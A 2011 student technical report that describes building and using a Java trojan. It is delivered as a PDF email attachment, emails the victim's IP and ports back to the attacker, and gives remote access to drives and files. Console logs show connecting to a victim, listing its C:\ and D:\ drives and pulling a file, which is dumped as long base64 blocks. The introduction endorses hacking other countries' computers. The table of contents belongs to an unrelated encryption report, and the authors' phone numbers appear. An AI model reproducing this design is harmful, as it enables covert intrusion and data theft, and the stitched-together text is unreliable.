NETWORK

HACKING

TECHNICAL REPORT
No. DU/CS/MCA-IV/2011/xx April – 30 - 2011

Department of Computer Science University of Delhi DELHI – 110 007

1. Report Number :
DU/CS/MCA-IV/2011/xx

2. Report Date : April – 30 2011

3. Type of Report : Technical
Report

4. Subject /Area :
Information Security

5. Title : Network Hacking 6. Authors : Munish
Kumar(17) Ravi Bhushan(46) MCA IV Semester

7. Guide : Dr S.K. Pal
Scientific Analysis Group, DRDO, Delhi

8. Name of the Institution : Dept. of Computer Science
University of Delhi, DELHI

9. Abstract :
In this project we try to hack network by scanning IP address and port number Of remote computer, with the help of that we try to hack remote computer . we will send remote computer our executable along with PDF file through E-mail , Executable code contain IP address scanner ,Port number scanner ,Email sender, And Trojan Horse .when user of remote computer click on PDF file then executable code will activate and do following thing 1. IP address and Port number scanner will scan IP address and port number Of remote computer and send it back to us through e-mail. 2. Trojan Horse that is actually a client server program in which server program run on remote computer and client program run on hacker computer and with help of IP address and port number we try to connect Our client program to server program. Now we can execute our desired command and do following operation on remote computer like 1. Excess remote computer file system(derive) 2. Fetch file from remote computer to our computer. 3. Fetch many information like OS name ,version ,server time WE implement our project using java technology.

10. Key Words
IP address , Port Number , E-mail sender ,Trojan Horse

11. Total No. of pages : 60
Contact No: +91-8802407257 Contact No:+91-9210909760

12. Signature of Authors :

email:munish.kumar.2008@gmail.co m e-mail:ravi.dumca@gmail.com

13. Signature of Guide :

Acknowledgements
The satisfaction that accompanies the successful completion of any task would be incomplete without the mention of people whose ceaseless cooperation made it possible, whose constant guidance and encouragement crown all efforts with success. We are grateful to our project guide respected Dr. S.K. Pal for the guidance, inspiration and constructive suggestions that help us in the preparation of this project. We are also thankful to our senior and classmates who have helped us in successful completion of the project.

.

.1. CONCLUSIONS …… ……………………………………….2 Design of the proposed scheme…….3 …. 5 16 2.………..……….. OBSERVATIONS & RESULTS …………………………….5 Contributions 18 20 3..………………… ….3 Observations and Results………………….. DESCRIPTION OF THE WORK ………………….…… 33 APPENDIX – Source Code (Documented) . 5.… 15 2..TABLE OF CONTENTS 1.2 Permutation 4..1 2D triangular mapping 4..2. 2. IMPLEMENTATION DETAILS ……………………………… 08 4.….……………………….. 3...1.2 Subheading 2 ……………………………………. 27 28 29 6.…..1 Scheme using AES………………………. INTRODUCTION ………………………………………….1 Subheading 1 ………………………………………. REFERENCES ……………………………………………. 3. 5.… 06 3. . 2..… 22 5.…….1 ….2 Scheme using SMS4…………………………. 24 4. FUTURE DIRECTIONS ……………………………………… 23 8. 22 7.2 Subheading 2 …………………….1 Preprocessing scheme …….…………… 25 4. Subheading 1 ………………………..……….

.

E-mail sender and Trojan horse With the help of this application we can hack network. remote computer and any device available on network like pen-derive. We can use this application to hack other country computer and we can access sensitive information from that remote computer. We can also use this application to hack terrorist network and can get information about terrorist activity. PDA.INTRODUCTION "Hacking" is. unauthorized access to a computer or network. Simply blocking or disrupting access to a computer/server is not "hacking". basically.Port Number scanner . It could be the unapproved use of one system to gain access to another system . In this technology driven world where everything is technology based our afford is with the help of that technology to heck network and with the help of that to hack remote computer attached to network using IP address Scanner . mobile. etc This area is important because we can use this application to ensure security of our country and network system and can monitor network traffic to detect network intrusion . plan so that we can take proper action at a proper time to fail terrorist plan so that we can save lot of life DESCRIPTION OF THE WORK . and it could also mean simply entering a specific computer or network without permission.

when user of remote computer will click on that PDF file the code will be activated and trace IP address and port number of remote computer .And Email sender program will send e-mail back to the attacker . (a) New contributions / How this work will add to the existing literature? .(a) Background / Technical Description We complete our project using the java technology. Attacker will send PDF file along with his active code . if that person is will alive than he will established connection with that computer and execute desired command. (b) Design description .with the help of that IP address and port number Attacker will ping using IP and Port number to know that whether user is alive .

.We create a program E-mail sender when user of the remote computer will click on the remote file that active code on that file trace IP address and Port number of remote computer send it back to the hacker . IMPLEMENTATION DETAILS (a) Experimental setup / Hardware & software requirements.

Software –Net Beans .Output of programs/screenshots. tables.computer . OBSERVATIONS & RESULTS (a) Observations & Results . Hardware. (b) Other requirements for execution of the task Nothing.1. graphs etc - . processor . windows 2.

.0.156:5000 Reading incoming data.To Establish connection between client(running on hacker computer) and server(Running on target computer) Server side(attacker side).156:5000 Connection received from Munish-PC:49165 server>Connection successful client side(Hacker Side) C:\Users\Munish\Desktop>cd C:\Users\Munish\Documents\NetBeansProjects\javaclient C:\Users\Munish\Documents\NetBeansProjects\javaclient>ja va -jar dist\javaclient. C:\Users\Munish\Desktop>cd C:\Users\Munish\Documents\NetBeansProjects\javaserver C:\Users\Munish\Documents\NetBeansProjects\javaserver> [1]localhost/127.jar 197..8.0.1 ---------------------------[Enter Text:('bye' to quit)] : getTime [Data In] : getTime client>getTime .0:5000 Waiting for connection on : 197.156 5000 Connected to : 197.95. server>Windows 7 6.95.get Os: to retrieve OS name ..0..8.1 [2]localhost/0:0:0:0:0:0:0:1 Server started at : Sat Apr 30 07:09:09 PDT 2011 Waiting for connection on : 0.8. [Data In] : getOs client>getOs [Msg sent!] Reading incoming data. server>Connection successful [Enter Text:('bye' to quit)] : Now when we execute command like 1.95.0.version and time of victim computer then output come like that.

c:\config.c:\ [Data In] : cmd:ls.c:\ $Recycle.sys.metadata [4]c:\autoexec.c:\BOOTSECT. server>Sat Apr 30 07:23:18 PDT 2011 [Enter Text:('bye' to quit)] : 2..c:\Recovery.c:\Dev-Cpp.bat [5]c:\Boot [6]c:\bootmgr [7]c:\BOOTSECT.c:\System Volume Information.c:\Documents and Settings.c:\Program Fil es.Bin [3]c:\. server>ok:c:\$AVG.c:\] [1]c:\$AVG [2]c:\$Recycle.mbr .c:\pagefile.Bin.c:\ubuntu.c:\wubildr.c:\ client>cmd:ls.BAK [8]c:\config.c:\.c:\wubildr.c: \Windows.BAK.c:\Intel.c:\ [Msg sent!] Reading incoming data.c:\Boot.metadata.bat.c:\MSOCache.sys [12]c:\Intel [13]c:\MSOCache [14]c:\oraclexe [15]c:\pagefile.sys.c:\ProgramData.mbr.c:\Users.c:\xampp.c:\bootmg r.c:\oraclexe..sys [9]c:\Dev-Cpp [10]c:\Documents and Settings [11]c:\hiberfil.sys.[Msg sent!] Reading incoming data.c:\autoexec.Output when we Get access to the remote computer directory.. ---------------------------Raw Input Cmd :[ls.sys [16]c:\PerfLogs [17]c:\Program Files [18]c:\ProgramData [19]c:\Recovery [20]c:\System Volume Information [21]c:\ubuntu [22]c:\Users [23]c:\Windows [24]c:\wubildr [25]c:\wubildr.. [Enter Text:('bye' to quit)] : cmd:ls.c:\hiberfil .c:\PerfLogs.

---------------------------Raw Input Cmd :[ls.0 Beta 11.exe [13]d:\sw [14]d:\System Volume Information [15]d:\vlc-1.exe [8]d:\hjsplit.exe [3]d:\avg_free_x86_all_2011_1209a3533.d:\hjsplit.exe [12]d:\SkypeSetupFull.9.2_setup.exe [17]d:\xampp-win32-1.zip.zip [9]d:\Opera_1110_int_Setup.exe [Enter Text:('bye' to quit)] : Raw Input Cmd :download.exe [7]d:\FoxitReader431_enu_Setup.exe [16]d:\wrar400.exe [10]d:\OracleXE(2).9.d:\] [1]d:\$RECYCLE.2.exe [11]d:\setup_av_free.exe [5]d:\Dreamweaver8-en [6]d:\Firefox Setup 4.7-win32.[26]c:\xampp [Enter Text:('bye' to quit)] : 1.BIN [2]d:\AdbeRdr90_en_US.7.exe [4]d:\devcpp-4. Readind incoming data… P15Tno/exFYLx1S1gPGXTiACw9DNXfYwNWg4gepBTzS4sKv7iLD1uZPuNKT/4 IDAfQAmns9xFRvYgUGW H58U8ddwiuPBggMDuJA1WXMrEmbmjtEO6ypDEGSCEYwXkC8dJynOOx55yM Fhtylx4hTabeugDnhVpTr7 k3+4oA6aww1k2HJHkQKOH+oRd3WX0g1sDXJD+MrfEtq6g8aOrStl3B1HyloJI bzjUsW7E/w7z+3P6UuB DZEGpTBWrnNP4zsTcz4J4mMsBYUcw6Pz4iLNTr/CFSWlHTqYL3TYouMTL1s7A mSk8u6luin54jUNFlcm 059W8F60T9uiSUSmhVuhjbRO/W9xOFqTw2ldNmQEacYfD9Y4X4AKNSaIcEDz fzzE5v5IwOG8hIW2O2VK AaApsfU8HMUxWuYvC9cwEpkaT3oVnHTpuGJOK3T/HwloQHRhkWZrngqOhGP 87HcBFQW0zq/ywv5/fqDz yCrPyZNQmmaZvqCt6IXyGCO15jx8iFh2I2D6pyoweDAj8vodlsVXpnzVfPiaKKC IxD9kBMCB5FT3w3n5 / qCdtgEi5H6qv7ZRP9yTiiCc+pvw2RuEEVg+ArjtVbGgcOxmwK8itYOriymjNFoT /8zXynCf4tKXJ5VV DtP/H36SHlM2T9sEXZbLlAeXiaZj9rTJWOP2BWFkMK2YMMSAxXGbEayqVBqm W3s6tMT3AbiuCVAGoKDr . Output when we are fetching file from remote computer to our computer .1.

WZhJOY1nq/s7BGx+tNCFe90bS5ZqmzQAKKqUkHvFGpNuE36Bk1xlsm07U3X diag0NLmtU+I6GCwlhOtu HZXLe6eDQDHgeGwPG4xzUAhFqq1zT/DKs/gijfBm5rFZ71Kjd/FYvav04Fx1Ec k6JmTUc1YO5KZdyuee Df0x05Lzs/PhZUULaEDogdP+yLFDnKVCNxtaw6Ms8F3ZOjrz/kzKGsQugRvwk 4o2Y9sexx00kt928YdO Xt/6aAxdn9QceZ0HWyv94OPx7lP6cBrwpgfwvuMMJ597rdmd14P0sMKs/miUY arypV7ArWQNAq8fJfyZ hB9wbvZrSx56NgmejwXe5SfE9wmplhzyTUqr2UsrG0Kmif1QS6Mz/M4Vo7ye A/2zecErtiJM6niMBnSy isAAP64MYLEgYmJyxUhwoOwOswPuHE1ydsIWmiM5R3lduoh1gp+LJMPwJYzjI/ Ar426ua2RMHpH3QwC4 4DhnpdJHrURgd3Use0VTu8YrQEryA5EyL21vYgWurPcT868IQ1HMuzn7zc+PK hru4LLbVyDaDvbjhtht BdDFZxx2Cevcgaw+tqEpVM2CqJ4vmhml14TuNOHQ2uyLa5IjgJ5U74viSKR/3 aP6hCeVCnttdfwD/aRz cKmlIz19w/Jcr9z2bnFLela9BM1D/iz63VN+ +AaLKYiVtMwVBR1b+sQkMlFwsNJpchtT+2BxCXXia4a1 l+4AxVez7PZkNtP6C7UshCVV3vbkLEceAUGDh8SqgypXDBiizXHPJ+HkpRCnV +IeOYFakF/RwYesbjZX 600wk5VXWYe1pAC0u+bf1+6hsVl6TxPzJIvQ4YPlsBmse8S0fNuGVzke2pjLr2 GfqYxq/PWLElCPSrnL 1aO+LPDnna2pZGWjO0J04/QqdVQq4DpSrKOCxzinfo3Eef+hSz1W/mp9/fYb/ NoVQEQAazLmJftUMX1+ GoNaB+E8l0Wmy9uxJHScl7GAk9KSY3SbaRhcKyYkqMQv6CDTbi7IhHbkYLYiO CPFkPc0dkIio9ca0/Kd GVJHy2ZbY+M64DnHlu88RY/ze4qHgUFgNrH+b71Dfr2lqnZGYuUk8AeEYkGr4 ZQ7MYXoLLlH8VL5hC+/ o1S6TVQWxwzFAfI/Iz7KC6tR0/5oJw81KgYW8q0rD6Gb0W+EAMOHJxKgEFNc WwVj+/bMOXI9jr9upBQQ cqkU82vWIqdNxtB/Y89MhVhncyaoBb16l3KGY/QKBddCL5L7XB8Tzs3QPurcW h5kO/0ZrM+ngCFrALUy 2LATXQaaoINRJtkpEC7HExZT8LKt87iHtukdFy1vY5OjY2O2BhzaUsdoXaNj8K3 CyuV1hxk+3rbwhJCh 5umQG7vEryltvcjN5ovcTdz576GYeX8qtEHUU9V/gH6Gf0LRCbtil/YXn7ULNAa tRmxU+U3g32LVOpZS 8bOhzAia4aUrVDJRZV8Th047HVAWCi7xbMZXutsQEafWAATSoEqZTBy1sc9l2 /tT9hdyBEW1BtpCrYCL tmACNAA4mzvenKCG3KTrtcEQZzdXoKb3xElTwqyD+Dq4oupBiwdUzdhSs/Vp nxNkNmGlBuSwulGelw6L lxqHeE9bLM5GQq3jz5Tg/QimiJRMLSQO9+QPGRuu7VAeXfAQPX0UK5AKd7bq zBPIpovD3c3ulg93qfQy hcjBQJdb6pSKzsdENL/NZpxKIdZ20nbSl9imbBrHOtOVR6XB83Fi6iP3SkyKEzvN uzpPZcG8r/WOVYaT giy9DRMB9ruW+kiOPa85sxl1GLkpfOSbkcP5reRBu2YUs08VS63Qjjpd6+Nei2 Sa61b3G4OpGtL3Ghzs OF3KwkvlaRHjNkpRsx6TBJGawa89A/sdhxF4oUlRFJ3IDQhRDJNcoZC5OIVmOi Mtw/dT/Zdu+g68B0Xe .

nQT4PIf39FWnVImvbjIT+7ijpub3pc8lqhMGi04cHPbbuqGXd+S//oIjm/k+ExfRp dFqMEfake8z/X4K x1+o4imGvomt+R4gyofPgeTE/OxGAu6e6xX9YWVNZmSuisYyrlMkp+UwBnR K8RaKn+RZHz0j++NReUTP mM+3Jx4nGqzovByyc1YbBNihQ70WhGKY7BKDXW/j9r9xN3Ziv5nySmag9pSl c/n16hKnQ/2gHDusvZ4x EWzq1qBJxSwcmSibCMPSsLJsSOnxFNRyp0y1PpEZkCaF5CdM1HYt55E1C88a Rgdr3XEw4Mp8MmOpISYw lSVzflUGUUf0I4P5R2rUeuM93ZgIscsOXk/NJaGLQ/mIJoYiFqDZR3FSw9KQ693T xis540gndnvcVV5P FC8kGS0uV+Pyb0eRNZI+kO36nP+AV1rJgYM4vgXK+IDbChGATTM9V4wHuk 0JJpRWxnG6m79oYXQ1FFP9 yM1ie/6FSw41mr33CWZmrz3T8DcnF1P65BHtGCdGk9tYwCtb15tVcDDD/IO0s /TazXA9tuCByD8VI/pd glTgLqvgFO+6M6q7V5nECpA4eowuzlA3oQwQXSzjRgWx3ySgD71xLgeHAJjp vKYP15GCvuWXOLOW9iyL C6XXB7uSjfOR+//XMGRrN6GxvJyA6xhwWmkTSOFgTgOc1AuFQ78KDgVZFUX wm/C/3/Z+bmQeM/WxC7qG Mn55uRP/ArLocEeA6gfgD7cFDBXT8A8g7OnJmwRqgS8Uzmr+unMa5bjkX6xR njIlb0pi2qL/GSFgqxnl bcej4LFhYmCEtXJMNLCeLxM9smhDlqeShLvd8RvvLe/qp+5nxLK3D98C1H0fZ tecIZeoTpQ7yeAYDoY+ aala9PakW7KpQebrgeMc8WeGC0YpdMN6aot+n8RBZGgwlwozZCUUm6IXe5 Sow/FCY7TP+9oBmIP9uXR1 Z8rTjdAp+pMwd6BV9xJz8dfzlbLJn12H4cAnuI9dg1xHeu2izF+SMTYRuIQmZA MFS/v17BWhEOW4jWNF l3avfhYG9FArPrAylYPgD4iXgDsk2VbM9lYueLRqgPpz9xcWvGRlVezf1A224IRP dCHD8OQzVQdDxw0G vbghvIbbhbQBOUuQLKKt69SBiK16B0MX6VFPfhjLgiziNJvby05YMCVp86ol4sU 95oWT/3H/jmXVmTWl +nBmV113Rwxq5THU+nBKSHsGWFxD9TNz72G5+E7TAeRfldRLYyDPhQJDo mBCFJmEBZy89i+jNyyTE2NS OjlWO1cEGba6rDPC4EAaDsbiMgJigsRToINj8J4/2ppgQf67kal4DbPxDRHjodC2 SGdnlDZbPP+VaAYW EehgMeHG4vf1Jb4ITtuuTrLWTVwYIbWDlYUdscJA9DeOutrU1OSSnNVTDb/D82 PkpJbTVlV9hZvnHpLJ iOUO8O4FMLqPcq/a5DFD1WrxsuhlQXHwGG1HyvN9h7A+uXRfMEVa0L0AHN CXkHG60/ecpa0UAwGqXMUS DgCnKIB7jU5J4nP9cZgwjIVMTYDV+I2KXTTWyv6KIASKryZFJaOB1od+muqAH QymZj/0Wk8YyA30Z7vs azkodjcXik/G1pkzG8okdr9MbR0SKbSk+HYRT1CCfvp6QhPTBiVxZbAsNzcak5 w1BvX3HQuz8OGnB/uO F0aII6+mXeeQiLIR5flT/ck4xbBMgFYDDdF90BfjIxn9Prl4tiJYSHs6JDfYQNLdGEo plUJqJPHPGb1z SATgj0zlCUigdPDa5RYZzoZziedR/Zwmj557PMBCKT7O1sO1VQP4gKquQjs3eb PxtaDX3cXOJvDMEjlO 0UPwp1cO+r+ +1ECF2rCLMVRLwva+aJf2A/yictsj0jtGzchPeSEUe7e3fMzyyrBnCoHxmDVhFk Bp8+R1 .

V21LoBhf9QhGziz0Z8NzrLF3sL4VLR32yW33tdhaWxh7U77LyeUJt75EBA8cyn FHEq2rvmLqJMPVI5wq 8qwsoaiGMj/57DQPV4ujTwn3flWgnQvETx/O8ymnXGU2AElefdZzr7HSMZXz1 XP1uUuesHc4oeuZnsSK J4Nv7QREVEJIsM4NVcR7sb5BsHJWXro54mrVRCP82gBERau8xxlAxj0Ag0pMn pHJuRFSigM+xZP/QYx0 51rarrzwwXq3/3hBnI05JyAwXAJiDsVB8TGmMLWquSlSJeQDL1X5Rr6iBgG7ffw ES8GorNTbOWgFSr17 TprglcqVh4uGBkESFFbv0/4hLLqCR0EwsJpiXAcrrPMTz8/hbYK7Z6vp883xWMft oYVTf3vKxLDqxSeO Nccv/AblmwZuM+8+P6piEhg7Y/aKgQNQJAUyDdwUA1AhFpEIB3IOliz2YNMFl UX4SCP+52XpXdFm+HGf r8D5Xkcpk90D8OPpymPHZDxUfgUpmEt8s/YRsxcQMzSP4gP3UKMkg/5FqTbh kuKjsAhY43Wp5WWbHGKj Y/moPooSjiXUbGR0Ro6FTpRmNzXl7YDz/m5E36+7+zgGFMXeVOfjV5Giddcjb PoO2wHMMDP32CajyeyQ gMOdWes/iqmA9u8j8QUN7D/yUsl687Ze/W5N/OIsr16N1Zkllm+gOgq0nr23D w3/AUWyrckenJOmsP3a 6Vw8J9Qe3JN7x3hgYwOi0PHbhPODqwUoP34R6WFDWJDBxv1CzwJNRZia5Ha f/zMs2kwPPozLJRGByYKo doazIWF6u7pgdKVcOH8WC7HyXZanRpZj+fGfsSO4bBJtdFvSW+GXTeQgrsPy uq8VHMW8c/i38/J65Jw1 +F5CevpgRmQYUAKpjBKD9VuRCJ/9NzIpb5w+Nk1/G6vKs6EQZZEOBRCT8Im rDDTt2RAh/cnE7txTChK1 eDIQL4NKS1Px+csEn+GaDjn9WAoB2LL3vl7HskxXaxDfpNvr7Xo3zcRMGzdV 7mz3I4wZHnOu8gsj9jhG KlQwksNYUeL8eSEw5Pxpj0lxodFCLdCEAoOzUi2dsGfnI0PqhPF6vs8hU+LqoN Pz+pP7vQufC/cUbzqP 2uMGjkOxhIp+8GiTd4bvlBUDuJlKtCN3V+ZGdCNDjA25/WEL6y/KE/9T9ASpIZJ SAUNKEX3noOAXcjJy clbehzJwRPZ3alIG82aoSSdcBMcgwpuriGnvZFCDrwXlsuO4TOvxaq+uvvYk0fu Wh2HbWWddJIdI67YO 8KYd3SWzqT7lrAqheibyyp+1bNP/4N7FsJ/3SkgGm8IvcAsHMdMz7TExpnJ070 SbU4Jj/URL0G+RqoTg ROnMrwTHE0jqIFOsH6Cwmxmmg4r9/1oj+rcCWpaIqy43AMT1EzrcBPSftGupv qzSfguXwzYFi5OV87X2 eDOnckP767pmEoSRIFTZfzROPlGHn+P4g+Lhuolg22AtS88fY3YpT5V/bedjSc S/tyzNaL8hg02R8b6X 38vb+WHwl/h3BOfAYAnA9R/iAI5ed7Cx1/TNAaMuZf2BF1x0v+jHHMoUmsP9 RZ1NXc3AEoPHuJ6MWim3 RrRmOb6LQ/oJsEEGSRzMQS0AbByyFnZdgznh0VdddzGr1K8lPzDDq2TbihVz1 e4Kqxd/ChIm9ZWn++to ZgXfOX6fRyHFzsPW0/C3ELS4K5GklQ5cLL2+m2ijTg7m44R3GZOk45bwupTv CTwMA2K7o5xtakGPIsPN moI+OSBvY5OdDCvHCT8E+MExy85G3kctKacc0DJ1INf/Ow/grmSjvbfLTllVrC3 BSpXd7T5VGsDjQkYp 9CIqdIoHRvQgZ7Pf73unD+jPzAUZO5Uh1WYOEpCL2kNg3YQjdhIWfEnwuuEvI KROPJmmcPa2x3eZXo5g .

G0c06SbTMJo/uFR+o/sXDKjlF93CIqLeevXYv4+vp1hyeOjExzLCsW5m9N59w/ P9Ymuu3vxGn/mTzPze H8hsv3GAcM/qzWGafAd6uutFcIvp4Wppg0P8eShAiuuGVXYdJ1BSFyQMmC3S kvoMvBW1LuKuV6pDgumI qDJOGC1d0G5OjL9XURjKrEb11VwR+t9w44IDinjoAhHteUfVKuuWEXbUXX4T/ zdafOQIomcuBFTfBRiC 5nOqh1Qw5a/Dg9gzk+irPAP7MwNg/pRTtW9XZ5sOToqZ+2D+jvh5x10l75uB S9h2c/P/m8Tf1cPX+XA5 8LCMzh+DFZWuwomwtkPLU/tkcO1dEJg3grJKF0WJfAruWTQoW5SjiXDgg8E/SJ cqbqNmkdvIqYM6fqmA YKLHK2UF9t1cYzXZtWEXv5t88XmSg/dWPuTDVaC6NpgwIdDyU4jjRSgndWBh Eip17AKBUhLMg1BvWiM7 SZ5SwrDFxtxHExc4fhXVvAGfE/4kCLTmfXs4s/E/TX42hE525JoSXUQQ/7KbI7yy iVSAfKeqNLYXt+fa Qv9YIQik0/zc3EdX8v2MB7RqvYqbPLA38C68huUY4oRwDVPn+58Ow7jn9j4H V7++osjhLw+djphXohVD s/TN1pFF0/vrp510ANaf9LSBv5iFtC0TxzmBcGgwqJ72/Qy8fz0CW9P/vamgjQO sEc/cpH47CZ9KM5+Y ctlUiWxtgoZ4rQGB0CNfnB3Tgar9/G4WhPMpLJWSgMvsJW5Caaqk1cCmy6x3X uvk3CyJZPKCO1mOLIkz +1HDxTOwFEGOJUG56WHUF/Fz9Iy9UV1Aue0lscWBDQygi3WIw7zRZZPrvQB hYhtoxK3UqRagTvhFF6aD tkJjOjaHTSWL7MQov7f66YHQh3yIwWe/JN8diDakTCU58/Olssgy7cPzjdN38Elo Zq7RlbJqPmv39/fp k4/gqb42AmfFX27tTUpKNrGhIlYDqiJnrNbiPWw+R9LBd2Nv0lYia03AaoSxH9G /8Wg4wJLj8xkqcd7I y/Srf/RORL05va2WZgYj80LK7Jh3r5RpqY3pqsLmbeciVWEHs/QPrUzQjW3T+c4 k7F1g9YKPneLP9lOc a7QMzWi5XuEZUyr0/CLVs+WBdNHxvrvj8E2Sstakl4xqBTdW3nuPN3I1YW/mC +X/kFdOQzxf4nvQg/W3 G5RXyvVFakNGFxuw0swz/tibyp8/KtUPbEox1myDoVNVV1rmWFmn28mQuoA LNqXSdDsAOvA4hvTywiCJ lPwdzE9+X7rj/eDsU/+ +g/z2xBAkAEFz8Wh70HQ3G4abXT7tVzopiRpZsjAYxQ5ZuREe/RCUIvDT8eFw EggEZn/USx+R7gMZ8JDrCpxR4wsmwnKgkZCdXqEltHi+xvzC/eL+zUJZ8YaBa nQ4QKvaotyrAX8xXKBS zdTWOtZ0o+o2s7wOFygKu00gLWvOswfYkDcyvy5CRHh38SsMVXG32VwofN nC0eoU3SYNSzxTQd6TeOP1 564mCvXJS9b4CGzq93JqGAKZtLoBAeQrNuQzXD81g/XMoWjHAGxZPGxiU0W 4Ia+HJ3rky+LQUC6dxRwj 4r1RMpTYiXp7Ds5kAQbcmvXcgQNGpc6i2mmmUtvNU3o8PtB0RwSv7b9ruKs kPwR8pVDADe+U8+hdYKMi SHfrRjamXXzamsW7oCxsQ/wNgwBvpqDBYXv581oYOutvdX4l8/+E7WZcu1J/ 3E9r8QoBRe0XWetZvU4E fQCBzmM9IqjDtPC+/lFsiEN4oXF+ahnwNboHOlqvP7mSEPcm7Fu8cXmhrxZdk IcRfyog8/z3ZfZyZiR9 / MysI/cKaC6oUjpDO+PocHcLD2Gonv1z7lx4jUG9Xdeehcpq2ArGOqsVqDQG8T v+f/WkyMX2nVX8RdGw .

Eeg6sJn/RwWwDChAUKmB9snqvFNSsTCQymHCFRBVkbdT9v7enpZP5NrWlT UvD55XmttlOJLIUkr99OYd 1RpKhm8fhRD9Ld1VI/De9iizyoa7oV7KQ6ejL5y7jHlXXFV6hQsPo6kTl5vHBt9s/ Cxz1/LwXmYQ13v9 HdhrRspJlgF4LMaFhWNstzTNlOjEB2TWaaQF3JBsprK8E03la2uGTUePxyRK/lhj 4/BGhFVn07tS256W C/dIzWgy47uuQfVrjvHwtrSqDhBOr9MG3dDxSA8P9vwj3M8p+XacIqLunSSiUo GbuF/P0lMW5bhSRdTf Ek5a7/P0u44k3+17UlDvCVda8lB0NUBeWlCZg0dk5T3jb8tGZPD0v95egNxVA /FFaub5qSwb8gINzEG/ mpvrMo3VHDS7JJfVVz9DWkHi7GlbierHKs0TIXwQitTNPfYJur5Gom3UwVW2yk 3lGT9jXnhUDG772SoD b2FMrV2br9vz/bbS5RL7BfpYxrKcTlxsPXK7bRHuWR4rxHI6TbvT/CxfPOUrYxU mJVxTGrdkenb6DDOI AJoLecVQ4SqPygEpJBzRFXe8hL4T3Wb8snS3oEyyp+8dCG/9N9CT+EHhVaAkJ nf6BuJzrJhwnVozs7lJ Z8s8xg12lR/CuCZWvJs5d0wx3PWrVJDm5OWUo/wfTLAKw/5Ew/dJc9iWVLpoKi P+fuuRR+edj1dgS9GK 3asfAZxbv4jA0Mf5RgPyUe+G+20K0zkSVgGZfUi8ZC0JfrXKE/zqxKQe4JecIO+ sykH0dCofi7ubY9rR 9BwVV6u5zMZG+H1b8zw8BKFAVASIjgkXknwBzBZdMj9fiTWvAurvNC0aB1b DUrgukSLJIFjKanRBvPqz 80eUx5HhU+AcCuBBKOR0LKuILlju/Ehb682bKxhaN7lGi2sx2pcvcW8ruWJz8k +5WT0WEvF0rrnDVk9E vO0hKoDxyhMEI0ym2kLxG3LQjZNMuI79I5/diwUctzaH8/AcrU6vQxP9qJW1wY Rz/BqNNYZNUFS3h+hi G+kRxj3r2sfhHGsMc/O9su9a6e8U5bZ1i7wAwQq5acIT9k3A5ODDDnKmoDw d6x2ieZFtY633ARAhMzEY s4gNwaRUeMVOp5u30GEVFENr+WHqe9A5isfaLdKUPJePgg74qZbZVRArw32 BN3huaxVgDkUc+lD9k9B8 s/yrdYFxNX8XRnsjL5QBhyGJJ1UmXpP8K6/87/rNg/Tx0lSM/ydizM7GJyN7go9T8 rDjvxiWAgPsWafr buwAmIfF3eTRYa6hCqUc2XlEp/lnn4rcHABN22m8jz8gMjAKOruSBueeRdyH6X 6k3yeH6jwOjN8NZFr5 8DTvlcuIIN+PEjyyu8bmb8tD+3IBgL9zyTwTA9amU8HNj4cTojGFc/xPYo3C/u2 zYTDyIvMEtyPzFZHa Max0aee6cuDyF1J6RpKnPyPAd+xemr+No9P3CpOGjnMcEtQ/jDX7YgJZcyIUs 86d5ewFnoOOlYbmYg7S 2ljgjQvM9OuPdf+VxI0HCa+vI91y9l9sI0gxB5PT8Rk8M/ScBbP8tUS8nMSnEAo ozKrzwi374txHj+p8 74g2FtGY5Kd83dYF0QG0STUlDSzeBsMnphzyNA1HBYS32TGvznOTncvH7/I7 Q0q4s4MNntikTqztKEYK rHwH86q5QcmFZMTSQW9klr8Rw1k8zBSlFbsSkjfR3QMAJD85Rp4esD5GXVG 0NPZ3fD+9aKOeGYoSPTW4 A6VhpDZMRtFUo+mGh8NHv9RiTPx0K+4AzLza/PqJ4vn6cDNlroVPFuvgBQsK KUULmU5JPkwtrlrq2m0v 5l/9iJz2HEqlYap+Tex96CFRYK3vb3urb+4QLoZMMll3QsMUrZJ23MYeahQNIQY v6ioHkzZpMAPPMSNM .

igzBPsrZws5AhmhOvyjlyCFyY3SPKKZu3YkZGCxgp8qFQQhJy3knVERHP3GBB a1FA5E6XrmZUu61Hjh9 7ypEVk//DRWmso9R8Q5cS9yNgKfRA6cmNCqRkz+lL9yZV8Dfz+dT8XLDlYVP 5NQzvweM/61FibGmfp5w gEiSm4OhrMZMm45nI+tKaqXJbxmMp0BXLtPgxqJOiJPzRqN/kYP+zIq7uMI/No OPUsT2BAJi5cCVmVzp o92KWIyhVjAVsD8EYVRPQ/tHHm8ZuvPmJQtehVFuulHTvLEDnxV92wmdHQS 12R94Ynn97tFN1TtWl8XB ilDQ56VRAtlcokFz725DcleDK4+viDKNosDbDvzMunJhbC/e/rohB8wWMFluMZt /bVP7Ws7CvrvBqsXR mFK/uf+lVEbq2yJCKH9Sk9R9KAtAAn3ppmzVGJMa+xPw4bK83ZBPg7p0iweA 3NQ7rU7xulZX8/1yuSVZ 64bc4MZg2WO79qAm3AJT9s6ZfYV9TaISk/D0QoEHuy4f1mW3nUP9XfFypyQ 9RtJSFKezuEl9emeyLp7l aAcAtQ2STQwgK3lULjR6iuTZU71SGFsNK/cp+k0YB4PdEm3rODpP8bupm3Kh PPXuSRlx/5st8NtPpfrv / tuCLm6iWSAwVjut78JD0U5BLxUC4vIgm6Gz14+wvKveT3gh4FAy8ztl2xQY7C DDzl1C9Qhh9hLjX4O8 pxPDasGAIBveU3OHu44H/Hy2vosc1QQ/3WkbavtAs6XFp1mOr/T1MW3g8Em gW1TGAj8Eu533GOMVuHA0 6HsrzN00lznxC7SEQiJ4STYoDe9ZNqCb7HzQfs59EFAlpHLoeWhTnamQfqd1R/ EWVA0mVyBSWUWkC/X9 BHa3iURKPLHniSvyp0qAGbhWwWfJtyMgODLuEcxbQLLzNvm7nfKysSfL1nAzQ /LXA3BrRY+ArfWmara5 jZUAMU5bxSNT+1mpZyyjWWBT9SNhz/xRX/8K94UIjKpcVVAVNtaoSRsXvE2H zRT559e5s1Aflwg72DWx GelZOWUXEJXfX+xWsndLvXCUaSzlKKbnilr+hOVsy1E2kENB8SLldTGf01DDo e/3dVDYdZBUI9WBZ8m+ PGGqxGRnVzP39O5deJ+nRSGK9F4Bf9UPK5K3ia8C2SE3Rqu8tzGLFahmSa4r y/Zh30aCrMR5GSBdhZ99 NiOfBlYxDGFhXp583eXQ0/6XdfrCJGZAicxOzKziMcm77ElcOxTum9ZnYovzvIH AoWVQ9PlF9pYzv+E/ VXfEsF807soRi9x9s/oTQfNzkfs6r3l/di9wU9RwQAiO1r738/i6+tZWPM0Smu+V 